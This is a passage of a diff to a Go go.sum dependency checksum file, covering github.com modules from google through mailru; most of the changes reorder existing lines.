h1:Kcdr2DB4koayq7X8pmAG4sNG59So17icRSOU623lUBU= -github.com/google/go-tpm v0.9.4 h1:awZRf9FwOeTunQmHoDYSHJps3ie6f1UlhS1fOdPEt1I= +github.com/google/go-querystring v1.1.0 h1:AnCroh3fv4ZBgVIf1Iwtovgjaw/GiKJo8M8yD/fhyJ8= github.com/google/go-tpm v0.9.4/go.mod h1:h9jEsEECg7gtLis0upRBQU+GhYVH6jMjrFxI8u6bVUY= -github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= -github.com/google/martian/v3 v3.3.3 h1:DIhPTQrbPkgs2yJYdXU/eNACCG5DVQjySNRNlflZ9Fc= +github.com/google/go-tpm v0.9.4 h1:awZRf9FwOeTunQmHoDYSHJps3ie6f1UlhS1fOdPEt1I= github.com/google/martian/v3 v3.3.3/go.mod h1:iEPrYcgCF7jA9OtScMFQyAlZZ4YXTKEtJ1E6RWzmBA0= -github.com/google/nftables v0.3.0 h1:bkyZ0cbpVeMHXOrtlFc8ISmfVqq5gPJukoYieyVmITg= +github.com/google/martian/v3 v3.3.3 h1:DIhPTQrbPkgs2yJYdXU/eNACCG5DVQjySNRNlflZ9Fc= github.com/google/nftables v0.3.0/go.mod h1:BCp9FsrbF1Fn/Yu6CLUc9GGZFw/+hsxfluNXXmxBfRM= +github.com/google/nftables v0.3.0 h1:bkyZ0cbpVeMHXOrtlFc8ISmfVqq5gPJukoYieyVmITg= github.com/google/pprof v0.0.0-20210407192527-94a9f03dee38/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e h1:ijClszYn+mADRFY17kjQEVQ1XRhq2/JR1M3sGqeJoxs= github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA= -github.com/google/s2a-go v0.1.9 h1:LGD7gtMgezd8a/Xak7mEWL0PjoTQFvpRudN895yqKW0= +github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e h1:ijClszYn+mADRFY17kjQEVQ1XRhq2/JR1M3sGqeJoxs= github.com/google/s2a-go v0.1.9/go.mod h1:YA0Ei2ZQL3acow2O62kdp9UlnvMmU7kA6Eutn0dXayM= +github.com/google/s2a-go v0.1.9 h1:LGD7gtMgezd8a/Xak7mEWL0PjoTQFvpRudN895yqKW0= github.com/google/uuid v0.0.0-20171113160352-8c31c18f31ed/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/googleapis/enterprise-certificate-proxy v0.3.12 h1:Fg+zsqzYEs1ZnvmcztTYxhgCBsx3eEhEwQ1W/lHq/sQ= -github.com/googleapis/enterprise-certificate-proxy v0.3.12/go.mod h1:vqVt9yG9480NtzREnTlmGSBmFrA+bzb0yl0TxoBQXOg= -github.com/googleapis/gax-go/v2 v2.17.0 h1:RksgfBpxqff0EZkDWYuz9q/uWsTVz+kf43LsZ1J6SMc= -github.com/googleapis/gax-go/v2 v2.17.0/go.mod h1:mzaqghpQp4JDh3HvADwrat+6M3MOIDp5YKHhb9PAgDY= -github.com/gopackage/ddp v0.0.0-20170117053602-652027933df4 h1:4EZlYQIiyecYJlUbVkFXCXHz1QPhVXcHnQKAzBTPfQo= +github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= +github.com/go-ole/go-ole v1.3.0/go.mod h1:5LS6F96DhAwUc7C+1HLexzMXY1xGRSryjyPPKW6zv78= +github.com/go-ole/go-ole v1.3.0 h1:Dt6ye7+vXGIKZ7Xtk4s6/xVdGDQynvom7xCFEdWr6uE= github.com/gopackage/ddp v0.0.0-20170117053602-652027933df4/go.mod h1:lEO7XoHJ/xNRBCxrn4h/CEB67h0kW1B0t4ooP2yrjUA= -github.com/gorilla/css v1.0.1 h1:ntNaBIghp6JmvWnxbZKANoLyuXTPZ4cAMlo6RyhlbO8= +github.com/gopackage/ddp v0.0.0-20170117053602-652027933df4 h1:4EZlYQIiyecYJlUbVkFXCXHz1QPhVXcHnQKAzBTPfQo= +github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= +github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA= +github.com/go-playground/universal-translator v0.16.0/go.mod h1:1AnU7NaIRDWWzGEKwgtJRd2xk99HeFyHw3yid4rvQIY= +github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= +github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY= +github.com/go-quicktest/qt v1.101.0/go.mod h1:14Bz/f7NwaXPtdYEgzsx46kqSxVwTbzVZsDC26tQJow= +github.com/go-quicktest/qt v1.101.0 h1:O1K29Txy5P2OK0dGo59b7b0LR6wKfIhttaAhHUyn7eI= +github.com/go-redis/redis/v8 v8.11.5/go.mod h1:gREzHqY1hg6oD9ngVRbLStwAWKhA0FEgq8Jd4h5lpwo= +github.com/go-redis/redis/v8 v8.11.6-0.20220405070650-99c79f7041fc/go.mod h1:25mL1NKxbJhB63ihiK8MnNeTRd+xAizd6bOdydrTLUQ= +github.com/go-redis/redis/v8 v8.11.6-0.20220405070650-99c79f7041fc h1:jZY+lpZB92nvBo2f31oPC/ivGll6NcsnEOORm8Fkr4M= github.com/gorilla/css v1.0.1/go.mod h1:BvnYkspnSzMmwRK+b8/xgNPLiIuNZr6vbZBTPQ2A3b0= -github.com/gorilla/mux v1.8.1 h1:TuBL49tXwgrFYWhqrNgrUNEY92u81SPhu7sTdzQEiWY= +github.com/gorilla/css v1.0.1 h1:ntNaBIghp6JmvWnxbZKANoLyuXTPZ4cAMlo6RyhlbO8= github.com/gorilla/mux v1.8.1/go.mod h1:AKf9I4AEqPTmMytcMc0KkNouC66V3BtZ4qD5fmWSiMQ= +github.com/gorilla/mux v1.8.1 h1:TuBL49tXwgrFYWhqrNgrUNEY92u81SPhu7sTdzQEiWY= github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= -github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg= github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= -github.com/gregdel/pushover v1.4.0 h1:P77WAJ2zPG+b0mEsmMjWGrPMuvhkh9k3v7OviwsoveE= +github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg= +github.com/go-sql-driver/mysql v1.9.3/go.mod h1:qn46aNg1333BRMNU69Lq93t8du/dwxI64Gl8i5p1WMU= +github.com/go-sql-driver/mysql v1.9.3 h1:U/N249h2WzJ3Ukj8SowVFjdtZKfu9vlLZxjPXV1aweo= +github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= +github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE= +github.com/go-telegram-bot-api/telegram-bot-api v4.6.4+incompatible/go.mod h1:qf9acutJ8cwBUhm1bqgz6Bei9/C/c93FPDljKWwsOgM= +github.com/go-telegram-bot-api/telegram-bot-api v4.6.4+incompatible h1:2cauKuaELYAEARXRkq2LrJ0yDDv1rW7+wrTEdVL3uaU= +github.com/go-test/deep v1.1.1/go.mod h1:5C2ZWiW0ErCdrYzpqxLbTX7MG14M9iiw8DgHncVwcsE= +github.com/go-test/deep v1.1.1 h1:0r/53hagsehfO4bzD2Pgr/+RgHqhmf+k1Bpse2cTu1U= github.com/gregdel/pushover v1.4.0/go.mod h1:EcaO66Nn1StkpEm1iKtBTV3d2A16SoMsVER1PthX7to= -github.com/grpc-ecosystem/go-grpc-middleware v1.4.0 h1:UH//fgunKIs4JdUbpDl1VZCDaL56wXCB/5+wF6uHfaI= +github.com/gregdel/pushover v1.4.0 h1:P77WAJ2zPG+b0mEsmMjWGrPMuvhkh9k3v7OviwsoveE= github.com/grpc-ecosystem/go-grpc-middleware v1.4.0/go.mod h1:g5qyo/la0ALbONm6Vbp88Yd8NsDy6rZz+RcrMPxvld8= -github.com/h2non/parth v0.0.0-20190131123155-b4df798d6542 h1:2VTzZjLZBgl62/EtslCrtky5vbi9dd7HrQPQIx6wqiw= +github.com/grpc-ecosystem/go-grpc-middleware v1.4.0 h1:UH//fgunKIs4JdUbpDl1VZCDaL56wXCB/5+wF6uHfaI= github.com/h2non/parth v0.0.0-20190131123155-b4df798d6542/go.mod h1:Ow0tF8D4Kplbc8s8sSb3V2oUCygFHVp8gC3Dn6U4MNI= +github.com/h2non/parth v0.0.0-20190131123155-b4df798d6542 h1:2VTzZjLZBgl62/EtslCrtky5vbi9dd7HrQPQIx6wqiw= github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/go-uuid v1.0.3 h1:2gKiV6YVmrJ1i2CKKa9obLvRieoRGviZFL26PcT/Co8= github.com/hashicorp/go-uuid v1.0.3/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/yamux v0.1.2 h1:XtB8kyFOyHXYVFnwT5C3+Bdo8gArse7j2AQ0DA0Uey8= +github.com/hashicorp/go-uuid v1.0.3 h1:2gKiV6YVmrJ1i2CKKa9obLvRieoRGviZFL26PcT/Co8= github.com/hashicorp/yamux v0.1.2/go.mod h1:C+zze2n6e/7wshOZep2A70/aQU6QBRWJO/G6FT1wIns= -github.com/hdevalence/ed25519consensus v0.2.0 h1:37ICyZqdyj0lAZ8P4D1d1id3HqbbG1N3iBb1Tb4rdcU= +github.com/hashicorp/yamux v0.1.2 h1:XtB8kyFOyHXYVFnwT5C3+Bdo8gArse7j2AQ0DA0Uey8= github.com/hdevalence/ed25519consensus v0.2.0/go.mod h1:w3BHWjwJbFU29IRHL1Iqkw3sus+7FctEyM4RqDxYNzo= -github.com/hexops/gotextdiff v1.0.3 h1:gitA9+qJrrTCsiCl7+kh75nPqQt1cx4ZkudSTLoUqJM= +github.com/hdevalence/ed25519consensus v0.2.0 h1:37ICyZqdyj0lAZ8P4D1d1id3HqbbG1N3iBb1Tb4rdcU= github.com/hexops/gotextdiff v1.0.3/go.mod h1:pSWU5MAI3yDq+fZBTazCSJysOMbxWL1BSow5/V2vxeg= +github.com/hexops/gotextdiff v1.0.3 h1:gitA9+qJrrTCsiCl7+kh75nPqQt1cx4ZkudSTLoUqJM= github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU= github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= -github.com/illarion/gonotify/v3 v3.0.2 h1:O7S6vcopHexutmpObkeWsnzMJt/r1hONIEogeVNmJMk= github.com/illarion/gonotify/v3 v3.0.2/go.mod h1:HWGPdPe817GfvY3w7cx6zkbzNZfi3QjcBm/wgVvEL1U= -github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= +github.com/illarion/gonotify/v3 v3.0.2 h1:O7S6vcopHexutmpObkeWsnzMJt/r1hONIEogeVNmJMk= github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= -github.com/insomniacslk/dhcp v0.0.0-20231206064809-8c70d406f6d2 h1:9K06NfxkBh25x56yVhWWlKFE8YpicaSfHwoV8SFbueA= +github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= github.com/insomniacslk/dhcp v0.0.0-20231206064809-8c70d406f6d2/go.mod h1:3A9PQ1cunSDF/1rbTq99Ts4pVnycWg+vlPkfeD2NLFI= -github.com/invopop/jsonschema v0.13.0 h1:KvpoAJWEjR3uD9Kbm2HWJmqsEaHt8lBUpd0qHcIi21E= +github.com/insomniacslk/dhcp v0.0.0-20231206064809-8c70d406f6d2 h1:9K06NfxkBh25x56yVhWWlKFE8YpicaSfHwoV8SFbueA= github.com/invopop/jsonschema v0.13.0/go.mod h1:ffZ5Km5SWWRAIN6wbDXItl95euhFz2uON45H2qjYt+0= -github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM= +github.com/invopop/jsonschema v0.13.0 h1:KvpoAJWEjR3uD9Kbm2HWJmqsEaHt8lBUpd0qHcIi21E= github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg= -github.com/jackc/pgservicefile v0.0.0-20240606120523-5a60cdf6a761 h1:iCEnooe7UlwOQYpKFhBabPMi4aNAfoODPEFNiAnClxo= +github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM= github.com/jackc/pgservicefile v0.0.0-20240606120523-5a60cdf6a761/go.mod h1:5TJZWKEWniPve33vlWYSoGYefn3gLQRzjfDlhSJ9ZKM= -github.com/jackc/pgx/v5 v5.9.2 h1:3ZhOzMWnR4yJ+RW1XImIPsD1aNSz4T4fyP7zlQb56hw= +github.com/jackc/pgservicefile v0.0.0-20240606120523-5a60cdf6a761 h1:iCEnooe7UlwOQYpKFhBabPMi4aNAfoODPEFNiAnClxo= github.com/jackc/pgx/v5 v5.9.2/go.mod h1:mal1tBGAFfLHvZzaYh77YS/eC6IX9OWbRV1QIIM0Jn4= -github.com/jackc/puddle/v2 v2.2.2 h1:PR8nw+E/1w0GLuRFSmiioY6UooMp6KJv0/61nB7icHo= +github.com/jackc/pgx/v5 v5.9.2 h1:3ZhOzMWnR4yJ+RW1XImIPsD1aNSz4T4fyP7zlQb56hw= github.com/jackc/puddle/v2 v2.2.2/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFrfEOc3H4= +github.com/jackc/puddle/v2 v2.2.2 h1:PR8nw+E/1w0GLuRFSmiioY6UooMp6KJv0/61nB7icHo= github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o= -github.com/jcmturner/gofork v1.7.6 h1:QH0l3hzAU1tfT3rZCnW5zXl+orbkNMMRGJfdJjHVETg= github.com/jcmturner/gofork v1.7.6/go.mod h1:1622LH6i/EZqLloHfE7IeZ0uEJwMSUyQ/nDd82IeqRo= -github.com/jedib0t/go-pretty/v6 v6.7.8 h1:BVYrDy5DPBA3Qn9ICT+PokP9cvCv1KaHv2i+Hc8sr5o= +github.com/jcmturner/gofork v1.7.6 h1:QH0l3hzAU1tfT3rZCnW5zXl+orbkNMMRGJfdJjHVETg= github.com/jedib0t/go-pretty/v6 v6.7.8/go.mod h1:YwC5CE4fJ1HFUDeivSV1r//AmANFHyqczZk+U6BDALU= -github.com/jellydator/ttlcache/v3 v3.1.0 h1:0gPFG0IHHP6xyUyXq+JaD8fwkDCqgqwohXNJBcYE71g= +github.com/jedib0t/go-pretty/v6 v6.7.8 h1:BVYrDy5DPBA3Qn9ICT+PokP9cvCv1KaHv2i+Hc8sr5o= +github.com/Jeffail/gabs v1.4.0/go.mod h1:6xMvQMK4k33lb7GUUpaAPh6nKMmemQeg5d4gn7/bOXc= +github.com/Jeffail/gabs v1.4.0 h1://5fYRRTq1edjfIrQGvdkcd22pkYUrHZ5YC/H2GJVAo= github.com/jellydator/ttlcache/v3 v3.1.0/go.mod h1:hi7MGFdMAwZna5n2tuvh63DvFLzVKySzCVW6+0gA2n4= -github.com/jezek/xgb v1.1.1 h1:bE/r8ZZtSv7l9gk6nU0mYx51aXrvnyb44892TwSaqS4= +github.com/jellydator/ttlcache/v3 v3.1.0 h1:0gPFG0IHHP6xyUyXq+JaD8fwkDCqgqwohXNJBcYE71g= github.com/jezek/xgb v1.1.1/go.mod h1:nrhwO0FX/enq75I7Y7G8iN1ubpSGZEiA3v9e9GyRFlk= -github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E= +github.com/jezek/xgb v1.1.1 h1:bE/r8ZZtSv7l9gk6nU0mYx51aXrvnyb44892TwSaqS4= github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc= -github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ= +github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E= github.com/jinzhu/now v1.1.5/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8= +github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ= github.com/joho/godotenv v1.3.0/go.mod h1:7hK45KPybAkOC6peb+G5yklZfMxEjkZhHbwpqxOKXbg= -github.com/joho/godotenv v1.5.1 h1:7eLL/+HRGLY0ldzfGMeQkb7vMd0as4CfYvUVzLqw0N0= github.com/joho/godotenv v1.5.1/go.mod h1:f4LDr5Voq0i2e/R5DDNOoa2zzDfwtkZa6DnEwAbqwq4= -github.com/jordan-wright/email v4.0.1-0.20210109023952-943e75fe5223+incompatible h1:jdpOPRN1zP63Td1hDQbZW73xKmzDvZHzVdNYxhnTMDA= +github.com/joho/godotenv v1.5.1 h1:7eLL/+HRGLY0ldzfGMeQkb7vMd0as4CfYvUVzLqw0N0= github.com/jordan-wright/email v4.0.1-0.20210109023952-943e75fe5223+incompatible/go.mod h1:1c7szIrayyPPB/987hsnvNzLushdWf4o/79s3P08L8A= +github.com/jordan-wright/email v4.0.1-0.20210109023952-943e75fe5223+incompatible h1:jdpOPRN1zP63Td1hDQbZW73xKmzDvZHzVdNYxhnTMDA= github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y= -github.com/jsimonetti/rtnetlink v1.4.2 h1:Df9w9TZ3npHTyDn0Ev9e1uzmN2odmXd0QX+J5GTEn90= github.com/jsimonetti/rtnetlink v1.4.2/go.mod h1:92s6LJdE+1iOrw+F2/RO7LYI2Qd8pPpFNNUYW06gcoM= -github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= +github.com/jsimonetti/rtnetlink v1.4.2 h1:Df9w9TZ3npHTyDn0Ev9e1uzmN2odmXd0QX+J5GTEn90= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= -github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs= +github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8= -github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018 h1:NQYgMY188uWrS+E/7xMVpydsI48PMHcc7SfR4OxkDF4= +github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs= github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018/go.mod h1:Pmpz2BLf55auQZ67u3rvyI2vAQvNetkK/4zYUmpauZQ= -github.com/kevinburke/go-types v0.0.0-20240719050749-165e75e768f7 h1:36PMhfw/I1YYAjOOuA66ll5X7NJ8v3cJEqsAxiMv7bE= +github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018 h1:NQYgMY188uWrS+E/7xMVpydsI48PMHcc7SfR4OxkDF4= github.com/kevinburke/go-types v0.0.0-20240719050749-165e75e768f7/go.mod h1:8tQOif9eUJLpDnvfDcGtesfv6VpL2UvDbW4l8kXnSDE= -github.com/kevinburke/rest v0.0.0-20250718180114-1a15e4f2364f h1:y+inhBsY0ewgXFXCXlxodNxkXdYeU9YuneCYQEnRkmw= +github.com/kevinburke/go-types v0.0.0-20240719050749-165e75e768f7 h1:36PMhfw/I1YYAjOOuA66ll5X7NJ8v3cJEqsAxiMv7bE= github.com/kevinburke/rest v0.0.0-20250718180114-1a15e4f2364f/go.mod h1:3cBF15uOiTj025Ll5QHLw317EB+e06+AEwyt7oHUubI= -github.com/kevinburke/twilio-go v0.0.0-20250718182727-5fe7adc01f29 h1:AZ5D/KUEro9jOlMv94YJoufveb3vwM5WBwQ0Pfsh+XI= +github.com/kevinburke/rest v0.0.0-20250718180114-1a15e4f2364f h1:y+inhBsY0ewgXFXCXlxodNxkXdYeU9YuneCYQEnRkmw= github.com/kevinburke/twilio-go v0.0.0-20250718182727-5fe7adc01f29/go.mod h1:Z7bqFOTtIqCCIO+uPtod7Fp3gPMR8aTCcp5Pe8D+3fE= +github.com/kevinburke/twilio-go v0.0.0-20250718182727-5fe7adc01f29 h1:AZ5D/KUEro9jOlMv94YJoufveb3vwM5WBwQ0Pfsh+XI= github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= -github.com/klauspost/compress v1.18.4 h1:RPhnKRAQ4Fh8zU2FY/6ZFDwTVTxgJ/EMydqSTzE9a2c= github.com/klauspost/compress v1.18.4/go.mod h1:R0h/fSBs8DE4ENlcrlib3PsXS61voFxhIs2DeRhCvJ4= -github.com/klauspost/cpuid/v2 v2.2.10 h1:tBs3QSyvjDyFTq3uoc/9xFpCuOsJQFNPiAhYdw2skhE= +github.com/klauspost/compress v1.18.4 h1:RPhnKRAQ4Fh8zU2FY/6ZFDwTVTxgJ/EMydqSTzE9a2c= github.com/klauspost/cpuid/v2 v2.2.10/go.mod h1:hqwkgyIinND0mEev00jJYCxPNVRVXFQeu1XKlok6oO0= +github.com/klauspost/cpuid/v2 v2.2.10 h1:tBs3QSyvjDyFTq3uoc/9xFpCuOsJQFNPiAhYdw2skhE= github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= -github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a h1:+RR6SqnTkDLWyICxS1xpjCi/3dhyV+TgZwA6Ww3KncQ= github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a/go.mod h1:YTtCCM3ryyfiu4F7t8HQ1mxvp1UBdWM2r6Xa+nGWvDk= -github.com/kr/fs v0.1.0 h1:Jskdu9ieNAYnjxsi0LbQp1ulIKZV1LAFgK1tWhpZgl8= +github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a h1:+RR6SqnTkDLWyICxS1xpjCi/3dhyV+TgZwA6Ww3KncQ= github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= +github.com/kr/fs v0.1.0 h1:Jskdu9ieNAYnjxsi0LbQp1ulIKZV1LAFgK1tWhpZgl8= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= -github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= +github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= -github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= -github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo= +github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80/go.mod h1:imJHygn/1yfhB7XSJJKlFZKl/J+dCPAknuiaGOshXAs= +github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo= github.com/leodido/go-urn v1.2.4/go.mod h1:7ZrI8mTSeBSHl/UaRyKQW1qZeMgak41ANeCNaVckg+4= -github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ= github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI= -github.com/lesnuages/go-winio v0.4.19 h1:lFDu1mnhg5em+8zTHO4ChSD11J56xkyE8m3N8IrVmbA= +github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ= github.com/lesnuages/go-winio v0.4.19/go.mod h1:rm7jf4kBcldxMeljR7c7XY1qVCBc+8z3PtSgkrT9Clk= -github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193U= +github.com/lesnuages/go-winio v0.4.19 h1:lFDu1mnhg5em+8zTHO4ChSD11J56xkyE8m3N8IrVmbA= github.com/lesnuages/snitch v0.6.0/go.mod h1:RfXlAVJYL7gUoZ9VMMon4LqrPiAjC8x62Ntbse4a4s0= -github.com/line/line-bot-sdk-go v7.8.0+incompatible h1:Uf9/OxV0zCVfqyvwZPH8CrdiHXXmMRa/L91G3btQblQ= +github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193U= github.com/line/line-bot-sdk-go v7.8.0+incompatible/go.mod h1:0RjLjJEAU/3GIcHkC3av6O4jInAbt25nnZVmOFUgDBg= -github.com/lucasb-eyer/go-colorful v1.3.0 h1:2/yBRLdWBZKrf7gB40FoiKfAWYQ0lqNcbuQwVHXptag= +github.com/line/line-bot-sdk-go v7.8.0+incompatible h1:Uf9/OxV0zCVfqyvwZPH8CrdiHXXmMRa/L91G3btQblQ= github.com/lucasb-eyer/go-colorful v1.3.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0= -github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc= +github.com/lucasb-eyer/go-colorful v1.3.0 h1:2/yBRLdWBZKrf7gB40FoiKfAWYQ0lqNcbuQwVHXptag= github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk= -github.com/mailgun/errors v0.4.0 h1:6LFBvod6VIW83CMIOT9sYNp28TCX0NejFPP4dSX++i8= +github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc= github.com/mailgun/errors v0.4.0/go.mod h1:xGBaaKdEdQT0/FhwvoXv4oBaqqmVZz9P1XEnvD/onc0= -github.com/mailgun/mailgun-go/v5 v5.8.1 h1:QoRa2oBqLq+8GTYgM4id/cKW/WySQRka3PtnW8IK6KQ= +github.com/mailgun/errors v0.4.0 h1:6LFBvod6VIW83CMIOT9sYNp28TCX0NejFPP4dSX++i8= github.com/mailgun/mailgun-go/v5 v5.8.1/go.mod h1:qNTXXuJi9/myqpDLI8Mbn54WCXdto1kEHm6I2/WWYQQ= -github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0= +github.com/mailgun/mailgun-go/v5 v5.8.1 h1:QoRa2oBqLq+8GTYgM4id/cKW/WySQRka3PtnW8IK6KQ= github.com/mailru/easyjson 